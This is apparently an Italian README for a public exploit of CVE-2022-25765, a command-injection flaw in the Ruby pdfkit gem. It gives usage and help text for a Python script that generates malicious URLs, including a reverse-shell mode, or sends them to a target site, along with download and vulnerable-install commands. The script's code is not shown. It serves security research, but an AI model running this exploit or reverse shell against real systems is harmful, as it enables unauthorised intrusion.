
Exploit per CVE-2022–25765 (pdfkit) - Iniezione di comandi

Ti piace questo repository? Lasciaci una ⭐!
Solo per finalità educative e di ricerca di sicurezza autorizzata.
@UNICORDev di (@NicPWNs e @Dev-Yeoj)
Il pacchetto pdfkit, a partire dalla versione 0.0.0, è vulnerabile a un'iniezione di comandi quando l'URL non viene sanificato correttamente.
La gemma Ruby pdfkit è comunemente usata per convertire siti web o HTML in documenti PDF. Alle versioni vulnerabili (< 0.8.7.2) di questo software può essere passato un URL appositamente costruito contenente un comando che verrà eseguito. Questo exploit genera URL sfruttabili o li invia a un sito web vulnerabile che esegue pdfkit.
python3 exploit-CVE-2022–25765.py -c <command>
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -h
-c Custom command mode. Provide command to generate custom payload with.
-s Reverse shell mode. Provide local IP and port to generate reverse shell payload with.
-w URL of website running vulnerable pdfkit. (Optional)
-p POST parameter on website running vulnerable pdfkit. (Optional)
-h Show this help menu.
Scarica exploit-CVE-2022-25765.py da GitHub
Scarica exploit-CVE-2022-25765.py da ExploitDB
searchsploit -u
searchsploit -m 51293


pdfkit Versione 0.8.6
pdfkit Versioni < 0.8.7.2
gem install pdfkit -v 0.8.6